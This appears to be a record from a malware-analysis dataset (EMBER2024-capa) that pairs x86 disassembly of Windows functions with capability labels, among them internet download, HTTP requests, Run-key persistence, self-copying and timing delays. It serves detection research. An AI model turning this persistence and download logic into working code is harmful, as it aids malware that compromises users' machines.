joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409daf
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.0040d670
push edi
xor edi, edi
cmp dword [ebp + 0xc], edi
je 0x409dcf
push dword [ebp + 0xc]
call fcn.0040544e
pop ecx
jmp 0x409dd1
xor eax, eax
push edi
push 0x4400000
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp + 0x10]
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
cmp eax, edi
mov dword [ebp - 4], eax
jne 0x409df5
xor eax, eax
jmp 0x409f07
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov eax, 0x2001
push esi
push eax
push edi
mov dword [ebp - 0xc], eax
mov dword [ebp + 0xc], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp byte [esi], 0
jne 0x409e71
xor eax, eax
jmp 0x409f05
mov eax, dword [ebp - 8]
test eax, eax
je 0x409e8f
cmp dword [ebp + 0xc], eax
mov byte [ebp + eax - 0x1010], 0
ja 0x409e53
mov eax, dword [ebp - 0xc]
add dword [ebp + 0xc], eax
add eax, eax
push eax
push esi
push 0
mov dword [ebp - 0xc], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov esi, eax
test esi, esi
je 0x409e1a
push dword [ebp - 8]
lea eax, [ebp - 0x1010]
push eax
lea eax, [esi + edi]
push eax
call fcn.0040c690
mov eax, dword [ebp - 8]
sub dword [ebp + 0xc], eax
add esp, 0xc
add edi, eax
lea eax, [ebp - 8]
push eax
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp eax, 1
je 0x409e21
lea eax, [edi + edi + 2]
push eax
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
jne 0x409ead
and dword [ebp - 4], eax
jmp 0x409ef6
and dword [ebp + 0xc], 0
test esi, esi
mov dword [ebp - 4], 1
mov byte [esi + edi], 0
mov ecx, eax
je 0x409eec
test edi, edi
jbe 0x409eec
and word [ecx], 0
test edi, edi
jbe 0x409eec
mov edx, dword [ebp + 0xc]
movzx dx, byte [edx + esi]
mov word [ecx], dx
mov edx, dword [ebp + 0xc]
cmp byte [edx + esi], 0
je 0x409eec
inc dword [ebp + 0xc]
inc ecx
inc ecx
cmp dword [ebp + 0xc], edi
jb 0x409ece
and word [eax + edi*2], 0
mov eax, dword [ebp + 0x18]
mov dword [eax], edi
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 4]
pop esi
pop ebx
pop edi
leave
ret
Function at 0x409f0a
Capabilities:
Connect to http server
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1210
call fcn.0040d670
push ebx
push esi
lea eax, [ebp - 0x210]
push edi
add edx, 0xe
push eax
call fcn.0040550e
lea eax, [ebp - 0x210]
push eax
call fcn.0040544e
xor ebx, ebx
push 0x4244d0
mov word [ebp + eax*2 - 0x212], bx
call fcn.0040544e
add esp, 0xc
mov dword [ebp - 8], eax
call fcn.0040bfaa
cmp dword [ebp - 8], ebx
mov esi, eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], ebx
jbe 0x409fa4
movsx ax, byte [esi]
sub ax, 2
movzx ecx, ax
mov eax, dword [ebp - 4]
push 3
xor edx, edx
pop edi
div edi
sub edx, ebx
je 0x409f90
dec edx
je 0x409f88
dec edx
jne 0x409f96
add ecx, 0xfffe
jmp 0x409f96
add ecx, 0xfffb
jmp 0x409f96
add ecx, 0xffff
mov byte [esi], cl
inc esi
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jb 0x409f61
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
lea eax, [ebp - 0x210]
push eax
push dword [0x4114d4]
call dword [sym.imp.WININET.dll_InternetConnectW]
cmp eax, ebx
jne 0x409fc7
xor eax, eax
jmp 0x40a03c
push ebx
push 0x4400100
push ebx
push ebx
push ebx
push dword [ebp + 8]
push 0x40f0a0
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov esi, eax
cmp esi, ebx
je 0x409fc3
push dword [ebp - 8]
push dword [ebp - 0xc]
push ebx
push dword [ebp + 0xc]
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
push dword [ebp - 0xc]
mov edi, eax
call fcn.0040befa
cmp edi, ebx
pop ecx
je 0x409fc3
lea eax, [ebp - 0x10]
push eax
push 0x1000
lea eax, [ebp - 0x1210]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, eax
cmp esi, ebx
je 0x40a03a
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x1210], bl
mov ebx, dword [ebp + 0x10]
lea ecx, [ebp - 0x1210]
call fcn.0040bff5
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40a041
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x24
push 0x40f710
call fcn.0040d318
and dword [ebp - 4], 0
call fcn.0040584a
movzx ecx, cl
inc ecx
cdq
idiv ecx
mov esi, edx
movzx eax, byte [ebp + 8]
add esi, eax
imul esi, esi, 0x3e8
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov ebx, eax
call edi
sub eax, ebx
cmp eax, esi
jae 0x40a0bd
push 1
xor eax, eax
push eax
push eax
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x40a09e
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x40a07d
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40a075
or dword [ebp - 4], 0xffffffff
call fcn.0040d353
ret
Function at 0x40a0c7
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x2c
push 0x40f700
call fcn.0040d318
xor ebx, ebx
mov dword [ebp - 4], ebx
or dword [ebp - 0x1c], 0xffffffff
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov dword [ebp - 0x20], eax
cmp edi, ebx
jl 0x40a146
cmp word [ebp - 0x1c], 0xffff
jne 0x40a146
call esi
sub eax, dword [ebp - 0x20]
cmp eax, 0x15f90
ja 0x40a161
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push ebx
push ebx
push ebx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x40a127
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x40a108
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov eax, dword [eax + 0x4284d8]
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [ecx + 0x7c]
mov edi, eax
cmp edi, ebx
jl 0x40a161
jmp 0x40a0e9
or dword [ebp - 4], 0xffffffff
xor eax, eax
inc eax
jmp 0x40a167
or dword [ebp - 4], 0xffffffff
xor eax, eax
call fcn.0040d353
ret

Function at 0x40a26c
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x411054], 0
push ebx
push esi
push edi
mov ebx, eax
jne 0x40a28c
call fcn.0040a1cb
test eax, eax
mov dword [ebp - 8], eax
jne 0x40a29e
mov esi, ebx
call fcn.0040a16d
test eax, eax
mov dword [ebp - 8], eax
je 0x40a353
push str.eventConn
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, dword [ebx]
mov edx, dword [ecx]
sub esp, 0x10
mov edi, esp
mov word [ebp - 0x18], 3
mov dword [ebp - 0x10], 1
lea esi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push eax
push ecx
movsd dword es:[edi], dword [esi]
call dword [edx + 0x88]
mov eax, dword [ebx]
mov ecx, dword [eax]
lea edx, [ebp - 4]
push edx
push eax
call dword [ecx + 0x94]
xor esi, esi
cmp dword [ebp - 4], esi
je 0x40a33a
push esi
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowW]
cmp eax, esi
je 0x40a2fe
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetParent]
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x80
push eax
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0x10
push dword [0x415268]
mov eax, 0x1388
push dword [0x4201b0]
push eax
push eax
push 1
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [ebx]
mov ecx, dword [eax]
push 0xffffffffffffffff
push eax
call dword [ecx + 0xa4]
mov ebx, dword [ebx]
mov eax, dword [ebx]
push esi
push ebx
call dword [eax + 0xf0]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a57f
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 8], 0
test eax, eax
push ebx
push esi
push edi
jne 0x40a5a1
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov edi, dword [eax + 0x4284e0]
mov dword [ebp - 4], edi
jmp 0x40a5a6
mov dword [ebp - 4], eax
mov edi, eax
movzx esi, byte [ebp + 8]
imul esi, esi, 0x14
xor ebx, ebx
inc ebx
test dword [esi + 0x4284e4], edi
je 0x40a609
cmp edi, ebx
jne 0x40a5ed
cmp dword [0x4284d4], ebx
jne 0x40a60d
mov eax, dword [esi + 0x4284d8]
test eax, eax
je 0x40a60d
mov ecx, dword [eax]
lea edx, [ebp + 8]
push edx
push eax
call dword [ecx + 0xa0]
test eax, eax
jge 0x40a605
and dword [esi + 0x4284d8], 0
and dword [esi + 0x4284e4], 0xfffffffe
cmp edi, 2
jne 0x40a609
xor eax, eax
cmp dword [esi + 0x4284dc], eax
jne 0x40a605
and dword [esi + 0x4284e4], 0xfffffffd
jmp 0x40a646
mov eax, ebx
jmp 0x40a67a
cmp edi, ebx
jne 0x40a63f
lea edi, [esi + 0x4284d8]
mov eax, edi
call fcn.0040a26c
cmp dword [0x4284d4], ebx
mov dword [ebp - 8], eax
jne 0x40a639
test eax, eax
je 0x40a639
mov edi, dword [edi]
mov eax, dword [edi]
push edi
call dword [eax + 4]
or dword [esi + 0x4284e4], ebx
jmp 0x40a677
and dword [edi], 0
mov edi, dword [ebp - 4]
cmp edi, 2
jne 0x40a677
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
test eax, eax
mov dword [esi + 0x4284dc], eax
je 0x40a677
push 4
lea ecx, [ebp + 8]
push ecx
push 0x41
push eax
mov dword [ebp + 8], ebx
call dword [sym.imp.WININET.dll_InternetSetOptionW]
or dword [esi + 0x4284e4], 2
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40acd6
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 4]
push eax
push 1
push 0
mov ebx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push ebx
push 0x80000001
call edi
test eax, eax
jne 0x40ad16
push dword [ebp + 8]
lea esi, [ebp - 4]
push 0x41a648
call fcn.004069bd
test eax, eax
pop ecx
pop ecx
jne 0x40ad44
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 1
push 0
push ebx
push 0x80000002
call edi
test eax, eax
je 0x40ad32
xor eax, eax
jmp 0x40ad44
push dword [ebp + 8]
lea esi, [ebp - 4]
push 0x41a648
call fcn.004069bd
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b383
Capabilities:
Persist via run registry key
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
push ebx
push esi
xor ebx, ebx
push edi
push ebx
mov dword [ebp - 8], ebx
xor esi, esi
call dword [sym.imp.ole32.dll_OleInitialize]
push esi
call fcn.0040ad49
pop ecx
mov esi, eax
push esi
call fcn.0040b14b
cmp byte [ebp + 8], bl
pop ecx
mov edi, eax
je 0x40b3e7
push 0x400
lea eax, [ebp - 0x80c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 1
lea eax, [ebp - 0x80c]
push eax
push 0x41a648
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call fcn.004069fa
add esp, 0x14
cmp edi, ebx
je 0x40b424
and esi, 0x200000
jne 0x40b3f8
cmp dword [ebp - 8], ebx
jne 0x40b424
cmp esi, ebx
je 0x40b411
movzx eax, byte [0x424200]
xor esi, esi
push eax
xor cl, cl
inc esi
call fcn.004076a9
pop ecx
jmp 0x40b39d
mov dword [ebp - 8], 1
xor esi, esi
call fcn.004074c2
jmp 0x40b39d
push dword [0x4114d4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [0x4114d4], ebx
call fcn.0040a7df
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40b443
Capabilities:
Copy file
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x180c
call fcn.0040d670
push ebx
push esi
push edi
call fcn.00407f83
mov esi, str.FlushBuffersTimer
push esi
xor ebx, ebx
push ebx
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
test eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
je 0x40b4b4
push 0x400
lea eax, [esp + 0x1c]
push eax
push ebx
mov byte [0x4244ad], 1
call edi
push 0x419d78
lea eax, [esp + 0x1c]
call fcn.00405490
test eax, eax
pop ecx
je 0x40b4b4
push 4
push ebx
push 3
call fcn.0040a89c
add esp, 0xc
push 1
call fcn.0040b383
call fcn.0040ac11
test eax, eax
je 0x40b4d1
cmp byte [0x4244ad], bl
jne 0x40b4ce
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
push ebx
jmp 0x40b4af
call fcn.0040ac79
test eax, eax
je 0x40b53b
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push ebx
push 9
call fcn.0040a89c
add esp, 0xc
push 0x400
lea eax, [esp + 0x81c]
push eax
push ebx
call edi
lea eax, [esp + 0x18]
push eax
call fcn.0040acd6
test eax, eax
pop ecx
je 0x40b53b
push ebx
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x820]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40b53b
lea eax, [esp + 0x18]
push eax
call fcn.00407927
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp byte [0x4244ad], bl
je 0x40b558
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 1
call fcn.0040a89c
add esp, 0xc
jmp 0x40b534
lea eax, [esp + 0x1018]
push eax
call fcn.0040787e
test eax, eax
pop ecx
je 0x40b4ce
push esi
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
mov esi, eax
lea eax, [esp + 0x1018]
push eax
call fcn.00407927
test eax, eax
pop ecx
je 0x40b5be
or dword [esp + 0x14], 0xffffffff
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0x20]
push eax
push esi
mov dword [esp + 0x28], 0xdc3cba00
call dword [sym.imp.KERNEL32.dll_SetWaitableTimer]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40b534
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
call fcn.0040a89c
add esp, 0xc
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x40ce26
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x40ce30
repz ret
jmp fcn.0040d0cb
Function at 0x409110
Capabilities:
Get file attributes
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x455000
push 0x43063c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
push ebx
push esi
push edi
mov dword [ebp - 0x24], 0xffffffff
xor edi, edi
mov dword [ebp - 0x20], edi
cmp dword [0x49bbb0], edi
jne 0x40927f
xor ebx, ebx
cmp dword [0x49bba8], edi
je 0x409160
push str.IsolationAware_function_called_after_IsolationAwareCleanup_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp dword [0x49bbb0], edi
jne 0x409253
cmp dword [0x49bba8], edi
jne 0x409181
call fcn.00409420
test eax, eax
je 0x409258
mov eax, dword [0x468130]
mov dword [ebp - 0x48], eax
mov eax, dword [0x4a1d30]
cmp eax, edi
jne 0x409245
xor esi, esi
cmp dword [0x4a1d34], edi
jne 0x4091d2
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, 0x80000000
je 0x4091c8
push str.___.___
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push str.Unicows.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x4a1d38], eax
mov dword [0x4a1d34], 1
mov eax, dword [0x4a1d38]
cmp eax, edi
je 0x4091ed
push str.ActivateActCtx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
cmp esi, edi
jne 0x409236
mov eax, dword [0x4a1d3c]
cmp eax, edi
jne 0x409228
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, 0x80000000
je 0x409212
mov ecx, dword [str.Kernel32.dll]
push ecx
call dword [0x454fb0]
jmp 0x40921f
mov edx, dword [0x454fbc]
push edx
call dword [0x454fb4]
cmp eax, edi
je 0x409236
mov dword [0x4a1d3c], eax
push str.ActivateActCtx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov eax, esi
mov dword [0x4a1d30], eax
cmp esi, edi
jne 0x409245
xor eax, eax
jmp 0x40924f
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x48]
push edx
call eax
cmp eax, edi
je 0x409258
mov ebx, 1
cmp ebx, edi
jne 0x40927f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7f
je 0x40926c
cmp eax, 0x78
jne 0x409277
mov ebx, 1
mov dword [0x49bbb0], ebx
cmp ebx, edi
jne 0x40927f
xor eax, eax
jmp 0x409284
mov eax, 1
cmp eax, edi
jne 0x40929e
or eax, 0xffffffff
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
mov dword [ebp - 4], edi
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_DialogBoxParamA]
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0xffffffff
call fcn.004092e2
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4092e2
Capabilities:
Get file attributes

Disassembly:
cmp dword [0x49bbb0], edi
jne 0x4093d7
xor ebx, ebx
cmp dword [ebp - 0x24], 0xffffffff
sete bl
cmp ebx, edi
je 0x409306
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x2c], eax
jmp 0x409309
mov dword [ebp - 0x2c], edi
mov edi, dword [ebp - 0x20]
mov eax, dword [0x4a1d40]
test eax, eax
jne 0x4093c4
xor esi, esi
mov eax, dword [0x4a1d34]
test eax, eax
jne 0x409356
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, 0x80000000
je 0x40934c
push str.___.___
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push str.Unicows.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x4a1d38], eax
mov dword [0x4a1d34], 1
mov eax, dword [0x4a1d38]
test eax, eax
je 0x409371
push str.DeactivateActCtx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x4093b9
mov eax, dword [0x4a1d3c]
test eax, eax
jne 0x4093ab
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, 0x80000000
je 0x409396
mov edx, dword [str.Kernel32.dll]
push edx
call dword [0x454fb0]
jmp 0x4093a2
mov eax, dword [0x454fbc]
push eax
call dword [0x454fb4]
test eax, eax
je 0x4093b9
mov dword [0x4a1d3c], eax
push str.DeactivateActCtx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov eax, esi
mov dword [0x4a1d40], eax
test esi, esi
je 0x4093c9
push edi
push 0
call eax
test ebx, ebx
je 0x4093d7
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetLastError]
ret
Function at 0x409803
Capabilities:
Get file attributes

Disassembly:
mov edi, dword [ebp - 0x28]
mov eax, dword [0x4a1d40]
test eax, eax
jne 0x4098b6
xor esi, esi
mov eax, dword [0x4a1d34]
test eax, eax
jne 0x409850
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, 0x80000000
je 0x409846
push str.___.___
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push str.Unicows.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x4a1d38], eax
mov dword [0x4a1d34], 1
mov eax, dword [0x4a1d38]
test eax, eax
je 0x409867
push str.DeactivateActCtx
push eax
call ebx
mov esi, eax
test esi, esi
jne 0x4098ab
mov eax, dword [0x4a1d3c]
test eax, eax
jne 0x4098a1
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, 0x80000000
je 0x40988b
mov eax, dword [str.Kernel32.dll]
push eax
call dword [0x454fb0]
jmp 0x409898
mov ecx, dword [0x454fbc]
push ecx
call dword [0x454fb4]
test eax, eax
je 0x4098ab
mov dword [0x4a1d3c], eax
push str.DeactivateActCtx
push eax
call ebx
mov esi, eax
mov eax, esi
mov dword [0x4a1d40], eax
test esi, esi
je 0x4098bb
push edi
push 0
call eax
ret

Function at 0x4098c0
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x4a1d34]
push ebx
push esi
xor esi, esi
test eax, eax
push edi
jne 0x409903
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, 0x80000000
je 0x4098f9
push str.___.___
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push str.Unicows.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x4a1d38], eax
mov dword [0x4a1d34], 1
mov eax, dword [0x4a1d38]
mov edi, dword [ebp + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40991f
push edi
push eax
call ebx
mov esi, eax
test esi, esi
jne 0x40995b
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
test eax, eax
jne 0x409950
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, 0x80000000
mov eax, dword [ebp + 8]
je 0x409940
mov ecx, dword [eax + 8]
push ecx
call dword [eax]
jmp 0x409947
mov edx, dword [eax + 0xc]
push edx
call dword [eax + 4]
test eax, eax
je 0x40995b
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
push edi
push eax
call ebx
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x40f490
Capabilities:
Get file attributes
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4552e8
push 0x43063c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x24], edi
cmp dword [0x49bbb0], edi
jne 0x40f5fb
xor ebx, ebx
cmp dword [0x49bba8], edi
je 0x40f4dc
push str.IsolationAware_function_called_after_IsolationAwareCleanup_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp dword [0x49bbb0], edi
jne 0x40f5cf
cmp dword [0x49bba8], edi
jne 0x40f4fd
call fcn.00409420
test eax, eax
je 0x40f5d4
mov eax, dword [0x468130]
mov dword [ebp - 0x48], eax
mov eax, dword [0x4a1d30]
cmp eax, edi
jne 0x40f5c1
xor esi, esi
cmp dword [0x4a1d34], edi
jne 0x40f54e
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, 0x80000000
je 0x40f544
push str.___.___
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push str.Unicows.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x4a1d38], eax
mov dword [0x4a1d34], 1
mov eax, dword [0x4a1d38]
cmp eax, edi
je 0x40f569
push str.ActivateActCtx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
cmp esi, edi
jne 0x40f5b2
mov eax, dword [0x4a1d3c]
cmp eax, edi
jne 0x40f5a4
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, 0x80000000
je 0x40f58e
mov ecx, dword [str.Kernel32.dll]
push ecx
call dword [0x454fb0]
jmp 0x40f59b
mov edx, dword [0x454fbc]
push edx
call dword [0x454fb4]
cmp eax, edi
je 0x40f5b2
mov dword [0x4a1d3c], eax
push str.ActivateActCtx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov eax, esi
mov dword [0x4a1d30], eax
cmp esi, edi
jne 0x40f5c1
xor eax, eax
jmp 0x40f5cb
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 0x48]
push edx
call eax
cmp eax, edi
je 0x40f5d4
mov ebx, 1
cmp ebx, edi
jne 0x40f5fb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7f
je 0x40f5e8
cmp eax, 0x78
jne 0x40f5f3
mov ebx, 1
mov dword [0x49bbb0], ebx
cmp ebx, edi
jne 0x40f5fb
xor eax, eax
jmp 0x40f600
mov eax, 1
cmp eax, edi
jne 0x40f619
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
mov dword [ebp - 4], edi
mov eax, dword [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.USER32.dll_CreateDialogIndirectParamA]
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0xffffffff
call fcn.0040f65d
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
Function at 0x40f65d
Capabilities:
Get file attributes

Disassembly:
cmp dword [0x49bbb0], edi
jne 0x40f751
xor ebx, ebx
cmp dword [ebp - 0x20], edi
sete bl
cmp ebx, edi
je 0x40f680
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x2c], eax
jmp 0x40f683
mov dword [ebp - 0x2c], edi
mov edi, dword [ebp - 0x24]
mov eax, dword [0x4a1d40]
test eax, eax
jne 0x40f73e
xor esi, esi
mov eax, dword [0x4a1d34]
test eax, eax
jne 0x40f6d0
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, 0x80000000
je 0x40f6c6
push str.___.___
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push str.Unicows.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x4a1d38], eax
mov dword [0x4a1d34], 1
mov eax, dword [0x4a1d38]
test eax, eax
je 0x40f6eb
push str.DeactivateActCtx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x40f733
mov eax, dword [0x4a1d3c]
test eax, eax
jne 0x40f725
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, 0x80000000
je 0x40f710
mov edx, dword [str.Kernel32.dll]
push edx
call dword [0x454fb0]
jmp 0x40f71c
mov eax, dword [0x454fbc]
push eax
call dword [0x454fb4]
test eax, eax
je 0x40f733
mov dword [0x4a1d3c], eax
push str.DeactivateActCtx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov eax, esi
mov dword [0x4a1d40], eax
test esi, esi
je 0x40f743
push edi
push 0
call eax
test ebx, ebx
je 0x40f751
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetLastError]
ret